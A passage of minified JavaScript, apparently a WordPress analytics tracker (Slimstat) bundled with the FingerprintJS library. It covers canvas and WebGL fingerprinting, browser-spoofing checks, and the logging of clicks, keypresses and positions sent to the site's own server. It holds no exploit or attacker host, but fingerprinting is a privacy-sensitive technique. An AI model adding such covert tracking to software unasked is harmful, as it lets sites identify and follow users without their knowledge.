navigator.plugins&&(t=t.concat(f(e))),t},d=function(e){for(var t=!1,r=0,a=e.plugins.sortPluginsFor.length;r\u003Ca;r++){var i=e.plugins.sortPluginsFor[r];if(navigator.userAgent.match(i)){t=!0;break}}return t},B=function(e){e(Y())},_=function(e,t){e(O(t))},H=function(e){try{return!!window.sessionStorage}catch{return e.ERROR}},j=function(e){try{return!!window.localStorage}catch{return e.ERROR}},Q=function(e){if(Ye())return e.EXCLUDED;try{return!!window.indexedDB}catch{return e.ERROR}},O=function(e){return navigator.hardwareConcurrency?navigator.hardwareConcurrency:e.NOT_AVAILABLE},V=function(e){return navigator.cpuClass||e.NOT_AVAILABLE},k=function(e){return navigator.platform?navigator.platform:e.NOT_AVAILABLE},I=function(e){return navigator.doNotTrack?navigator.doNotTrack:navigator.msDoNotTrack?navigator.msDoNotTrack:window.doNotTrack?window.doNotTrack:e.NOT_AVAILABLE},Y=function(){var e=0,t;typeof navigator.maxTouchPoints\u003C\"u\"?e=navigator.maxTouchPoints:typeof navigator.msMaxTouchPoints\u003C\"u\"&&(e=navigator.msMaxTouchPoints);try{document.createEvent(\"TouchEvent\"),t=!0}catch{t=!1}var r=\"ontouchstart\"in window;return[e,t,r]},Se=function(e){var t=[],r=document.createElement(\"canvas\");r.width=2e3,r.height=200,r.style.display=\"inline\";var a=r.getContext(\"2d\");return a.rect(0,0,10,10),a.rect(2,2,6,6),t.push(\"canvas winding:\"+(a.isPointInPath(5,5,\"evenodd\")===!1?\"yes\":\"no\")),a.textBaseline=\"alphabetic\",a.fillStyle=\"#f60\",a.fillRect(125,1,62,20),a.fillStyle=\"#069\",e.dontUseFakeFontInCanvas?a.font=\"11pt Arial\":a.font=\"11pt no-real-font-123\",a.fillText(\"Cwm fjordbank glyphs vext quiz, \\u{1F603}\",2,15),a.fillStyle=\"rgba(102, 204, 0, 0.2)\",a.font=\"18pt Arial\",a.fillText(\"Cwm fjordbank glyphs vext quiz, \\u{1F603}\",4,45),a.globalCompositeOperation=\"multiply\",a.fillStyle=\"rgb(255,0,255)\",a.beginPath(),a.arc(50,50,50,0,Math.PI*2,!0),a.closePath(),a.fill(),a.fillStyle=\"rgb(0,255,255)\",a.beginPath(),a.arc(100,50,50,0,Math.PI*2,!0),a.closePath(),a.fill(),a.fillStyle=\"rgb(255,255,0)\",a.beginPath(),a.arc(75,100,50,0,Math.PI*2,!0),a.closePath(),a.fill(),a.fillStyle=\"rgb(255,0,255)\",a.arc(75,75,75,0,Math.PI*2,!0),a.arc(75,75,25,0,Math.PI*2,!0),a.fill(\"evenodd\"),r.toDataURL&&t.push(\"canvas fp:\"+r.toDataURL()),t},Ce=function(){var e,t=function(R){return e.clearColor(0,0,0,1),e.enable(e.DEPTH_TEST),e.depthFunc(e.LEQUAL),e.clear(e.COLOR_BUFFER_BIT|e.DEPTH_BUFFER_BIT),\"[\"+R[0]+\", \"+R[1]+\"]\"},r=function(R){var oe=R.getExtension(\"EXT_texture_filter_anisotropic\")||R.getExtension(\"WEBKIT_EXT_texture_filter_anisotropic\")||R.getExtension(\"MOZ_EXT_texture_filter_anisotropic\");if(oe){var ee=R.getParameter(oe.MAX_TEXTURE_MAX_ANISOTROPY_EXT);return ee===0&&(ee=2),ee}else return null};if(e=ke(),!e)return null;var a=[],i=\"attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}\",o=\"precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}\",l=e.createBuffer();e.bindBuffer(e.ARRAY_BUFFER,l);var c=new Float32Array([-.2,-.9,0,.4,-.26,0,0,.732134444,0]);e.bufferData(e.ARRAY_BUFFER,c,e.STATIC_DRAW),l.itemSize=3,l.numItems=3;var A=e.createProgram(),M=e.createShader(e.VERTEX_SHADER);e.shaderSource(M,i),e.compileShader(M);var h=e.createShader(e.FRAGMENT_SHADER);e.shaderSource(h,o),e.compileShader(h),e.attachShader(A,M),e.attachShader(A,h),e.linkProgram(A),e.useProgram(A),A.vertexPosAttrib=e.getAttribLocation(A,\"attrVertex\"),A.offsetUniform=e.getUniformLocation(A,\"uniformOffset\"),e.enableVertexAttribArray(A.vertexPosArray),e.vertexAttribPointer(A.vertexPosAttrib,l.itemSize,e.FLOAT,!1,0,0),e.uniform2f(A.offsetUniform,1,1),e.drawArrays(e.TRIANGLE_STRIP,0,l.numItems);try{a.push(e.canvas.toDataURL())}catch{}a.push(\"extensions:\"+(e.getSupportedExtensions()||[]).join(\";\")),a.push(\"webgl aliased line width range:\"+t(e.getParameter(e.ALIASED_LINE_WIDTH_RANGE))),a.push(\"webgl aliased point size range:\"+t(e.getParameter(e.ALIASED_POINT_SIZE_RANGE))),a.push(\"webgl alpha bits:\"+e.getParameter(e.ALPHA_BITS)),a.push(\"webgl antialiasing:\"+(e.getContextAttributes().antialias?\"yes\":\"no\")),a.push(\"webgl blue bits:\"+e.getParameter(e.BLUE_BITS)),a.push(\"webgl depth bits:\"+e.getParameter(e.DEPTH_BITS)),a.push(\"webgl green bits:\"+e.getParameter(e.GREEN_BITS)),a.push(\"webgl max anisotropy:\"+r(e)),a.push(\"webgl max combined texture image units:\"+e.getParameter(e.MAX_COMBINED_TEXTURE_IMAGE_UNITS)),a.push(\"webgl max cube map texture size:\"+e.getParameter(e.MAX_CUBE_MAP_TEXTURE_SIZE)),a.push(\"webgl max fragment uniform vectors:\"+e.getParameter(e.MAX_FRAGMENT_UNIFORM_VECTORS)),a.push(\"webgl max render buffer size:\"+e.getParameter(e.MAX_RENDERBUFFER_SIZE)),a.push(\"webgl max texture image units:\"+e.getParameter(e.MAX_TEXTURE_IMAGE_UNITS)),a.push(\"webgl max texture size:\"+e.getParameter(e.MAX_TEXTURE_SIZE)),a.push(\"webgl max varying vectors:\"+e.getParameter(e.MAX_VARYING_VECTORS)),a.push(\"webgl max vertex attribs:\"+e.getParameter(e.MAX_VERTEX_ATTRIBS)),a.push(\"webgl max vertex texture image units:\"+e.getParameter(e.MAX_VERTEX_TEXTURE_IMAGE_UNITS)),a.push(\"webgl max vertex uniform vectors:\"+e.getParameter(e.MAX_VERTEX_UNIFORM_VECTORS)),a.push(\"webgl max viewport dims:\"+t(e.getParameter(e.MAX_VIEWPORT_DIMS))),a.push(\"webgl red bits:\"+e.getParameter(e.RED_BITS)),a.push(\"webgl renderer:\"+e.getParameter(e.RENDERER)),a.push(\"webgl shading language version:\"+e.getParameter(e.SHADING_LANGUAGE_VERSION)),a.push(\"webgl stencil bits:\"+e.getParameter(e.STENCIL_BITS)),a.push(\"webgl vendor:\"+e.getParameter(e.VENDOR)),a.push(\"webgl version:\"+e.getParameter(e.VERSION));try{var $=e.getExtension(\"WEBGL_debug_renderer_info\");$&&(a.push(\"webgl unmasked vendor:\"+e.getParameter($.UNMASKED_VENDOR_WEBGL)),a.push(\"webgl unmasked renderer:\"+e.getParameter($.UNMASKED_RENDERER_WEBGL)))}catch{}return e.getShaderPrecisionFormat?(G([\"FLOAT\",\"INT\"],function(R){G([\"VERTEX\",\"FRAGMENT\"],function(oe){G([\"HIGH\",\"MEDIUM\",\"LOW\"],function(ee){G([\"precision\",\"rangeMin\",\"rangeMax\"],function(se){var Fe=e.getShaderPrecisionFormat(e[oe+\"_SHADER\"],e[ee+\"_\"+R])[se];se!==\"precision\"&&(se=\"precision \"+se);var Oe=[\"webgl \",oe.toLowerCase(),\" shader \",ee.toLowerCase(),\" \",R.toLowerCase(),\" \",se,\":\",Fe].join(\"\");a.push(Oe)})})})}),Be(e),a):(Be(e),a)},xe=function(){try{var e=ke(),t=e.getExtension(\"WEBGL_debug_renderer_info\"),r=e.getParameter(t.UNMASKED_VENDOR_WEBGL)+\"~\"+e.getParameter(t.UNMASKED_RENDERER_WEBGL);return Be(e),r}catch{return null}},ge=function(){var e=document.createElement(\"div\");e.innerHTML=\"&nbsp;\",e.className=\"adsbox\";var t=!1;try{document.body.appendChild(e),t=document.getElementsByClassName(\"adsbox\")[0].offsetHeight===0,document.body.removeChild(e)}catch{t=!1}return t},Ee=function(){if(typeof navigator.languages\u003C\"u\")try{var e=navigator.languages[0].substr(0,2);if(e!==navigator.language.substr(0,2))return!0}catch{return!0}return!1},E=function(){return window.screen.width\u003Cwindow.screen.availWidth||window.screen.height\u003Cwindow.screen.availHeight},qe=function(){var e=navigator.userAgent.toLowerCase(),t=navigator.oscpu,r=navigator.platform.toLowerCase(),a;e.indexOf(\"windows phone\")>=0?a=\"Windows Phone\":e.indexOf(\"windows\")>=0||e.indexOf(\"win16\")>=0||e.indexOf(\"win32\")>=0||e.indexOf(\"win64\")>=0||e.indexOf(\"win95\")>=0||e.indexOf(\"win98\")>=0||e.indexOf(\"winnt\")>=0||e.indexOf(\"wow64\")>=0?a=\"Windows\":e.indexOf(\"android\")>=0?a=\"Android\":e.indexOf(\"linux\")>=0||e.indexOf(\"cros\")>=0||e.indexOf(\"x11\")>=0?a=\"Linux\":e.indexOf(\"iphone\")>=0||e.indexOf(\"ipad\")>=0||e.indexOf(\"ipod\")>=0||e.indexOf(\"crios\")>=0||e.indexOf(\"fxios\")>=0?a=\"iOS\":e.indexOf(\"macintosh\")>=0||e.indexOf(\"mac_powerpc)\")>=0?a=\"Mac\":a=\"Other\";var i=\"ontouchstart\"in window||navigator.maxTouchPoints>0||navigator.msMaxTouchPoints>0;if(i&&a!==\"Windows\"&&a!==\"Windows Phone\"&&a!==\"Android\"&&a!==\"iOS\"&&a!==\"Other\"&&e.indexOf(\"cros\")===-1)return!0;if(typeof t\u003C\"u\"){if(t=t.toLowerCase(),t.indexOf(\"win\")>=0&&a!==\"Windows\"&&a!==\"Windows Phone\")return!0;if(t.indexOf(\"linux\")>=0&&a!==\"Linux\"&&a!==\"Android\")return!0;if(t.indexOf(\"mac\")>=0&&a!==\"Mac\"&&a!==\"iOS\")return!0;if((t.indexOf(\"win\")===-1&&t.indexOf(\"linux\")===-1&&t.indexOf(\"mac\")===-1)!=(a===\"Other\"))return!0}if(r.indexOf(\"win\")>=0&&a!==\"Windows\"&&a!==\"Windows Phone\")return!0;if((r.indexOf(\"linux\")>=0||r.indexOf(\"android\")>=0||r.indexOf(\"pike\")>=0)&&a!==\"Linux\"&&a!==\"Android\")return!0;if((r.indexOf(\"mac\")>=0||r.indexOf(\"ipad\")>=0||r.indexOf(\"ipod\")>=0||r.indexOf(\"iphone\")>=0)&&a!==\"Mac\"&&a!==\"iOS\")return!0;if(r.indexOf(\"arm\")>=0&&a===\"Windows Phone\")return!1;if(r.indexOf(\"pike\")>=0&&e.indexOf(\"opera mini\")>=0)return!1;var o=r.indexOf(\"win\")\u003C0&&r.indexOf(\"linux\")\u003C0&&r.indexOf(\"mac\")\u003C0&&r.indexOf(\"iphone\")\u003C0&&r.indexOf(\"ipad\")\u003C0&&r.indexOf(\"ipod\")\u003C0;return o!==(a===\"Other\")?!0:typeof navigator.plugins>\"u\"&&a!==\"Windows\"&&a!==\"Windows Phone\"},Qe=function(){var e=navigator.userAgent.toLowerCase(),t=navigator.productSub,r;if(e.indexOf(\"edge\u002F\")>=0||e.indexOf(\"iemobile\u002F\")>=0)return!1;if(e.indexOf(\"opera mini\")>=0)return!1;if(e.indexOf(\"firefox\u002F\")>=0?r=\"Firefox\":e.indexOf(\"opera\u002F\")>=0||e.indexOf(\" opr\u002F\")>=0?r=\"Opera\":e.indexOf(\"chrome\u002F\")>=0?r=\"Chrome\":e.indexOf(\"safari\u002F\")>=0?e.indexOf(\"android 1.\")>=0||e.indexOf(\"android 2.\")>=0||e.indexOf(\"android 3.\")>=0||e.indexOf(\"android 4.\")>=0?r=\"AOSP\":r=\"Safari\":e.indexOf(\"trident\u002F\")>=0?r=\"Internet Explorer\":r=\"Other\",(r===\"Chrome\"||r===\"Safari\"||r===\"Opera\")&&t!==\"20030107\")return!0;var a=eval.toString().length;if(a===37&&r!==\"Safari\"&&r!==\"Firefox\"&&r!==\"Other\")return!0;if(a===39&&r!==\"Internet Explorer\"&&r!==\"Other\")return!0;if(a===33&&r!==\"Chrome\"&&r!==\"AOSP\"&&r!==\"Opera\"&&r!==\"Other\")return!0;var i;try{throw\"a\"}catch(o){try{o.toSource(),i=!0}catch{i=!1}}return i&&r!==\"Firefox\"&&r!==\"Other\"},He=function(){var e=document.createElement(\"canvas\");return!!(e.getContext&&e.getContext(\"2d\"))},Ve=function(){if(!He())return!1;var e=ke(),t=!!window.WebGLRenderingContext&&!!e;return Be(e),t},Je=function(){return navigator.appName===\"Microsoft Internet Explorer\"?!0:!!(navigator.appName===\"Netscape\"&&\u002FTrident\u002F.test(navigator.userAgent))},Ye=function(){return(\"msWriteProfilerMark\"in window)+(\"msLaunchUri\"in navigator)+(\"msSaveBlob\"in navigator)>=2},Ze=function(){return typeof window.swfobject\u003C\"u\"},$e=function(){return window.swfobject.hasFlashPlayerVersion(\"9.0.0\")},et=function(e){var t=document.createElement(\"div\");t.setAttribute(\"id\",e.fonts.swfContainerId),document.body.appendChild(t)},tt=function(e,t){var r=\"___fp_swf_loaded\";window[r]=function(l){e(l)};var a=t.fonts.swfContainerId;et();var i={onReady:r},o={allowScriptAccess:\"always\",menu:\"false\"};window.swfobject.embedSWF(t.fonts.swfPath,a,\"1\",\"1\",\"9.0.0\",!1,i,o,{})},ke=function(){var e=document.createElement(\"canvas\"),t=null;try{t=e.getContext(\"webgl\")||e.getContext(\"experimental-webgl\")}catch{}return t||(t=null),t},Be=function(e){var t=e.getExtension(\"WEBGL_lose_context\");t?.loseContext()},rt=[{key:\"userAgent\",getData:le},{key:\"webdriver\",getData:D},{key:\"language\",getData:U},{key:\"colorDepth\",getData:me},{key:\"deviceMemory\",getData:we},{key:\"pixelRatio\",getData:m},{key:\"hardwareConcurrency\",getData:_},{key:\"screenResolution\",getData:S},{key:\"availableScreenResolution\",getData:T},{key:\"timezoneOffset\",getData:J},{key:\"timezone\",getData:ae},{key:\"sessionStorage\",getData:q},{key:\"localStorage\",getData:fe},{key:\"indexedDb\",getData:ne},{key:\"addBehavior\",getData:ce},{key:\"openDatabase\",getData:ie},{key:\"cpuClass\",getData:Te},{key:\"platform\",getData:de},{key:\"doNotTrack\",getData:ye},{key:\"plugins\",getData:u},{key:\"canvas\",getData:_e},{key:\"webgl\",getData:Ie},{key:\"webglVendorAndRenderer\",getData:Me},{key:\"adBlock\",getData:Le},{key:\"hasLiedLanguages\",getData:Ne},{key:\"hasLiedResolution\",getData:Re},{key:\"hasLiedOs\",getData:Ae},{key:\"hasLiedBrowser\",getData:De},{key:\"touchSupport\",getData:B},{key:\"fonts\",getData:s,pauseBefore:!0},{key:\"fontsFlash\",getData:n,pauseBefore:!0},{key:\"audio\",getData:ue},{key:\"enumerateDevices\",getData:pe}],Z=function(e){throw new Error(\"'new Fingerprint()' is deprecated, see https:\u002F\u002Fgithub.com\u002Ffingerprintjs\u002Ffingerprintjs#upgrade-guide-from-182-to-200\")};return Z.get=function(e,t){t?e||(e={}):(t=e,e={}),re(e,te),e.components=e.extraComponents.concat(rt);var r={data:[],addPreprocessedComponent:function(o,l){typeof e.preprocessor==\"function\"&&(l=e.preprocessor(o,l)),r.data.push({key:o,value:l})}},a=-1,i=function(o){if(a+=1,a>=e.components.length){t(r.data);return}var l=e.components[a];if(e.excludes[l.key]){i(!1);return}if(!o&&l.pauseBefore){a-=1,setTimeout(function(){i(!0)},1);return}try{l.getData(function(c){r.addPreprocessedComponent(l.key,c),i(!1)},e)}catch(c){r.addPreprocessedComponent(l.key,String(c)),i(!1)}};i(!1)},Z.getPromise=function(e){return new Promise(function(t,r){Z.get(e,t)})},Z.getV18=function(e,t){return t==null&&(t=e,e={}),Z.get(e,function(r){for(var a=[],i=0;i\u003Cr.length;i++){var o=r[i];if(o.value===(e.NOT_AVAILABLE||\"not available\"))a.push({key:o.key,value:\"unknown\"});else if(o.key===\"plugins\")a.push({key:\"plugins\",value:K(o.value,function(c){var A=K(c[2],function(M){return M.join?M.join(\"~\"):M}).join(\",\");return[c[0],c[1],A].join(\"::\")})});else if([\"canvas\",\"webgl\"].indexOf(o.key)!==-1&&Array.isArray(o.value))a.push({key:o.key,value:o.value.join(\"~\")});else if([\"sessionStorage\",\"localStorage\",\"indexedDb\",\"addBehavior\",\"openDatabase\"].indexOf(o.key)!==-1)if(o.value)a.push({key:o.key,value:1});else continue;else o.value?a.push(o.value.join?{key:o.key,value:o.value.join(\";\")}:o):a.push({key:o.key,value:o.value})}var l=F(K(a,function(c){return c.value}).join(\"~~~\"),31);t(l,a)})},Z.x64hash128=F,Z.VERSION=\"2.1.4\",Z})});var Ue=ht(ze()),b=function(){var p=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-\",g=\"\",C=\"\",x=0,v=!1,P=[],F=!1,te=4,G=80,K=\"\",re=0,pe=20,W,ue,le,D,U;function me(n){W.length>=pe&&W.shift(),W.push(n)}function we(){if(W.length){var n=D();if(!(!n.id||parseInt(n.id,10)\u003C=0))for(;W.length;){var s=W.shift(),u=\"action=slimtrack&id=\"+n.id+s;de(u,!0,{priority:\"normal\"})}}}var m=\"slimstat_offline_queue\";function S(n){n=(n||\"\").replace(\u002F\\r\\n\u002Fg,`\n-`);for(var s=\"\",u=0;u\u003Cn.length;u++){var f=n.charCodeAt(u);f\u003C128?s+=String.fromCharCode(f):f\u003C2048?s+=String.fromCharCode(f>>6|192,f&63|128):s+=String.fromCharCode(f>>12|224,f>>6&63|128,f&63|128)}return s}function L(n){var s=\"\",u=0;for(n=S(n);u\u003Cn.length;){var f=n.charCodeAt(u++),w=n.charCodeAt(u++),d=n.charCodeAt(u++),B=f>>2,_=(f&3)\u003C\u003C4|w>>4,H=(w&15)\u003C\u003C2|d>>6,j=d&63;isNaN(w)?H=j=64:isNaN(d)&&(j=64),s+=p.charAt(B)+p.charAt(_)+p.charAt(H)+p.charAt(j)}return s}function T(n){if(n==null)return!0;var s=typeof n;return s===\"boolean\"?!n:s===\"number\"?isNaN(n)||n===0:s===\"string\"||Array.isArray(n)?n.length===0:s===\"object\"?Object.keys(n).length===0:!1}function z(n,s){if(!n||!s||!s.length)return!1;for(var u=0;u\u003Cs.length;u++)if(n.indexOf(s[u].trim())!==-1)return!0;return!1}function J(n){var s=\"; \"+document.cookie,u=s.split(\"; \"+n+\"=\");return u.length===2?u.pop().split(\";\").shift():\"\"}function ae(n,s,u){n&&(n.addEventListener?n.addEventListener(s,u,!1):n.attachEvent?n.attachEvent(\"on\"+s,u):n[\"on\"+s]=u)}function q(){var n=(window.performance||{}).timing||{};return!n.responseEnd||!n.connectEnd?0:n.responseEnd-n.connectEnd}function fe(){var n=(window.performance||{}).timing||{};return!n.loadEventEnd||!n.responseEnd?0:n.loadEventEnd-n.responseEnd}function ne(n,s,u){for(var f=0;f\u003Cn.length;f++)if(n[f].key===s)return n[f].value;return u}function ce(){var n=document.querySelector('meta[name=\"slimstat-params\"]');if(n)try{window.SlimStatParams=JSON.parse(n.getAttribute(\"content\"))||{}}catch{}else for(var s=document.querySelectorAll(\"script\"),u=s.length-1;u>=0;u--){var f=s[u].textContent.match(\u002Fvar\\s+SlimStatParams\\s*=\\s*({[\\s\\S]*?});\u002F);if(f)try{window.SlimStatParams=new Function(\"return \"+f[1])()||{};break}catch{}}return D()}function ie(n){try{var s=n.map(function(u){return u.value});g=Ue.default.x64hash128(s.join(\"\"),31)}catch{g=\"\"}}function Te(n){var s=ne(n,\"screenResolution\",[0,0]);return\"&sw=\"+s[0]+\"&sh=\"+s[1]+\"&bw=\"+window.innerWidth+\"&bh=\"+window.innerHeight+\"&sl=\"+q()+\"&pp=\"+fe()+\"&fh=\"+g+\"&tz=\"+ne(n,\"timezoneOffset\",0)}function de(n,s,u){if(T(n))return!1;u=u||{};var f={payload:n,useBeacon:s,opts:u,attempts:0},w=P.some(function(B){return B.payload===n});if(w)return!1;if(P.length>G)for(var d=P.length-1;d>=0&&P.length>G;d--)P[d].opts.priority!==\"high\"&&P.splice(d,1);return u.immediate||u.priority===\"high\"?(!P.length||P[0].payload!==n)&&P.unshift(f):P.push(f),F||ye(),!0}function ye(){if(!(F||!P.length)){var n=P.shift();if(n){F=!0;var s=function(u){if(!u&&n)if(n.attempts=(n.attempts||0)+1,n.attempts\u003Cte){var f=500*Math.pow(2,n.attempts);setTimeout(function(){P.unshift(n)},f)}else storeOffline(n.payload);F=!1,setTimeout(ye,50)};_e(n,s)}}}function _e(n,s){var u=D(),f=n.payload,w=n.useBeacon,d=[\"rest\",\"ajax\",\"adblock\"],B={rest:u.ajaxurl_rest,ajax:u.ajaxurl_ajax,adblock:u.ajaxurl_adblock},_=u.transport,H=[_].concat(d.filter(function(O){return O!==_}));function j(O,V,k){k=k||{useNonce:!0};var I;try{I=new XMLHttpRequest}catch{return V&&V(),!1}I.open(\"POST\",O,!0),I.setRequestHeader(\"Content-type\",\"application\u002Fx-www-form-urlencoded\"),I.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),k.useNonce&&u.wp_rest_nonce&&I.setRequestHeader(\"X-WP-Nonce\",u.wp_rest_nonce),I.withCredentials=!0,I.onreadystatechange=function(){if(I.readyState===4){if(I.status===403&&k.useNonce&&u.wp_rest_nonce){j(O,V,{useNonce:!1});return}if(I.status===200){var Y=parseInt(I.responseText,10);!isNaN(Y)&&Y>0&&(u.id=I.responseText,we()),s(!0)}else V&&V()}};try{I.send(f)}catch{V&&V()}return!0}function Q(O){if(O>=H.length)return s(!1),!1;var V=H[O],k=B[V];if(!k)return Q(O+1);if(w&&navigator.sendBeacon&&O===0){var I=navigator.sendBeacon(k,f);return I?(s(!0),!0):Q(O+1)}return j(k,function(){Q(O+1)},{useNonce:!0})}Q(0)}function Ie(n,s,u){var f=D();if(T(f.id)||isNaN(parseInt(f.id,10))||parseInt(f.id,10)\u003C=0){try{var w=Me(n,s);me(w)}catch{}return!1}if(!n||T(n.type)||n.type===\"focus\")return!1;u=typeof u==\"boolean\"?u:!0;var d=n.target||n.srcElement;if(!d)return!1;var B={};T(s)||(B.note=s);var _=\"\";if(function(){if(d.nodeName){var Ee=d.nodeName.toLowerCase();if(Ee===\"input\"||Ee===\"button\"){for(var E=d.parentNode;E&&E.nodeName&&E.nodeName.toLowerCase()!==\"form\";)E=E.parentNode;E&&E.action&&(_=E.action);return}if(!d.href||typeof d.href!=\"string\"){for(var E=d.parentNode;E&&E.nodeName&&!E.href;)E=E.parentNode;E&&(E.hash&&E.hostname===location.hostname?_=E.hash:E.href&&(_=E.href))}else d.hash?_=d.hash:_=d.href}}(),typeof d.getAttribute==\"function\"){d.textContent&&(B.text=d.textContent);var H=d.getAttribute(\"value\");H&&(B.value=H);var j=d.getAttribute(\"title\");j&&(B.title=j);var Q=d.getAttribute(\"id\");Q&&(B.id=Q)}B.type=n.type,n.type===\"keypress\"?B.key=String.fromCharCode(parseInt(n.which,10)):n.type===\"mousedown\"&&(B.button=n.which===1?\"left\":n.which===2?\"middle\":\"right\");var O=f.dnt?f.dnt.split(\",\"):[];if(_&&O.length&&z(_,O))return!1;if(O.length&&d.className&&typeof d.className==\"string\"){var V=d.className.split(\" \");if(V.some(function(ge){return O.indexOf(ge)!==-1}))return!1}if(O.length&&d.attributes&&d.attributes.rel&&d.attributes.rel.value&&z(d.attributes.rel.value,O))return!1;var k=\"0,0\";!T(n.pageX)&&!T(n.pageY)?k=n.pageX+\",\"+n.pageY:T(n.clientX)||(k=n.clientX+(document.body.scrollLeft||0)+(document.documentElement.scrollLeft||0)+\",\"+(n.clientY+(document.body.scrollTop||0)+(document.documentElement.scrollTop||0)));var I=_?\"&fh=\"+g:\"\",Y=\"&res=\"+L(_)+\"&pos=\"+k+\"&no=\"+L(JSON.stringify(B))+I,Se=\"action=slimtrack&id=\"+f.id+Y,Ce=Date.now();if(Se===K&&Ce-re\u003C1e3)return!1;K=Se,re=Ce;var xe=de(Se,u);if(xe)try{window.__slimstatHasInteraction=!0}catch{}return xe}function Me(n,s){var u=n&&(n.target||n.srcElement)||{},f=\"\";try{u.href&&(f=u.href)}catch{}var w={type:n?n.type:\"unknown\"};s&&(w.note=s);var d=\"0,0\";return n&&!T(n.pageX)&&!T(n.pageY)&&(d=n.pageX+\",\"+n.pageY),\"&res=\"+L(f)+\"&pos=\"+d+\"&no=\"+L(JSON.stringify(w))}var Le={excludes:{adBlock:!0,addBehavior:!0,userAgent:!0,canvas:!0,webgl:!0,colorDepth:!0,deviceMemory:!0,hardwareConcurrency:!0,sessionStorage:!0,localStorage:!0,indexedDb:!0,openDatabase:!0,cpuClass:!0,plugins:!0,webglVendorAndRenderer:!0,hasLiedLanguages:!0,hasLiedResolution:!0,hasLiedOs:!0,hasLiedBrowser:!0,fonts:!0,audio:!0}};function Ne(n){if(!T(n.id)&&parseInt(n.id,10)>0)return\"action=slimtrack&id=\"+n.id;var s=\"action=slimtrack&ref=\"+L(document.referrer)+\"&res=\"+L(window.location.href);return T(n.ci)||(s+=\"&ci=\"+n.ci),s}function Re(n){n=n||{},ce();var s=D(),u=n.isNavigation||!1;if(!(!u&&!T(s.id)&&parseInt(s.id,10)>0)){u&&(s.id=null);var f=Ne(s);if(f&&!U){var w=Date.now();if(!(f===C&&w-x\u003C150)){C=f,x=w;var d=b.empty(s.id)||parseInt(s.id,10)\u003C=0,B=!d;if(!(v&&d)){v=d,U=!0;var _=function(){Ue.default.get(Le,function(H){ie(H),de(f+Te(H),B,{immediate:T(s.id)}),Ae(),v=!1,U=!1,setTimeout(function(){U=!1},100)})};window.requestIdleCallback?window.requestIdleCallback(_):setTimeout(_,250)}}}}}function Ae(){for(var n=D(),s=n.oc?n.oc.split(\",\"):[],u=s.length>0,f=0;f\u003Cs.length;f++)if(J(s[f])){u=!1;break}if(!u)return!1;var w;try{w=new XMLHttpRequest}catch{return!1}return w.open(\"POST\",n.ajaxurl,!0),w.setRequestHeader(\"Content-Type\",\"application\u002Fx-www-form-urlencoded\"),w.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),w.withCredentials=!0,w.onreadystatechange=function(){if(w.readyState===4&&w.status===200){var d=document.createElement(\"div\");d.innerHTML=w.responseText,document.body.appendChild(d)}},w.send(\"action=slimstat_optout_html\"),!0}function De(n,s){n=n||window.event,n&&n.preventDefault?n.preventDefault():n&&(n.returnValue=!1);var u=D(),f=new Date(Date.now()+31536e6);document.cookie=\"slimstat_optout_tracking=\"+s+\";path=\"+(u.baseurl||\"\u002F\")+\";expires=\"+f.toGMTString();var w=n.target||n.srcElement;w&&w.parentNode&&w.parentNode.parentNode&&w.parentNode.parentNode.removeChild(w.parentNode)}return{base64_key_str:p,get fingerprint_hash(){return g},set fingerprint_hash(n){g=n},utf8_encode:S,base64_encode:L,get_page_performance:fe,get_server_latency:q,optout:De,show_optout_message:Ae,add_event:ae,in_array:z,empty:T,get_cookie:J,send_to_server:de,ss_track:Ie,init_fingerprint_hash:ie,get_slimstat_data:Te,get_component_value:ne,_extract_params:ce,_send_pageview:Re,_assign_runtime_helpers:function(n){W=n.pendingInteractions,ue=n.loadOfflineQueue,le=n.saveOfflineQueue,D=n.currentSlimStatParams,U=n.pageviewInProgress}}}();Element.prototype.matches||(Element.prototype.matches=Element.prototype.matchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector||Element.prototype.oMatchesSelector||Element.prototype.webkitMatchesSelector||function(p){for(var g=(this.document||this.ownerDocument).querySelectorAll(p),C=g.length;--C>=0&&g.item(C)!==this;);return C>-1});String.prototype.trim||(String.prototype.trim=function(){return this.replace(\u002F^\\s+|\\s+$\u002Fg,\"\")});Array.isArray||(Array.isArray=function(p){return Object.prototype.toString.call(p)===\"[object Array]\"});window.requestIdleCallback||(window.requestIdleCallback=function(p){return setTimeout(p,250)});(function(){var g=[],C=\"slimstat_offline_queue\",x=!1;function v(){try{var m=localStorage.getItem(C);if(!m)return[];var S=JSON.parse(m);return Array.isArray(S)?S:[]}catch{return[]}}function P(m){try{localStorage.setItem(C,JSON.stringify(m.slice(-200)))}catch{}}function F(){return window.SlimStatParams||(window.SlimStatParams={}),window.SlimStatParams}b._assign_runtime_helpers({pendingInteractions:g,loadOfflineQueue:v,saveOfflineQueue:P,currentSlimStatParams:F,pageviewInProgress:x});var te={},G=!1,K=\"\",re=0,pe=1e3;try{typeof window.__slimstatHasInteraction>\"u\"&&(window.__slimstatHasInteraction=!1)}catch{}function W(m){var S=window.SlimStatParams||{};if(!(!S.id||parseInt(S.id,10)\u003C=0||te[S.id])){var L=Date.now();if(!(G||m===K&&L-re\u003Cpe)){G=!0,K=m,re=L;var T=\"action=slimtrack&id=\"+S.id+(m?\"&fv=\"+encodeURIComponent(m):\"\");b.send_to_server(T,!0,{priority:\"high\",immediate:!1}),te[S.id]=!0,setTimeout(function(){G=!1},120)}}}var ue=JSON.stringify(window.SlimStatParams||{}),le=new MutationObserver(function(){var m=window.SlimStatParams||{};if(b.empty(m.id)||parseInt(m.id,10)\u003C=0){b._extract_params();var S=JSON.stringify(window.SlimStatParams||{});S!==ue&&(ue=S)}});le.observe(document.head,{childList:!0,subtree:!0}),le.observe(document.body,{childList:!0,subtree:!0}),b.add_event(window,\"load\",function(){b._extract_params(),b._send_pageview(),setTimeout(function(){try{navigator.onLine!==!1&&typeof flushOfflineQueue==\"function\"&&flushOfflineQueue()}catch{}},500)}),b.add_event(document,\"visibilitychange\",function(){var m=window.SlimStatParams||{};document.visibilityState===\"hidden\"&&m.id&&parseInt(m.id,10)>0&&U(\"visibility\")}),b.add_event(window,\"pagehide\",function(){var 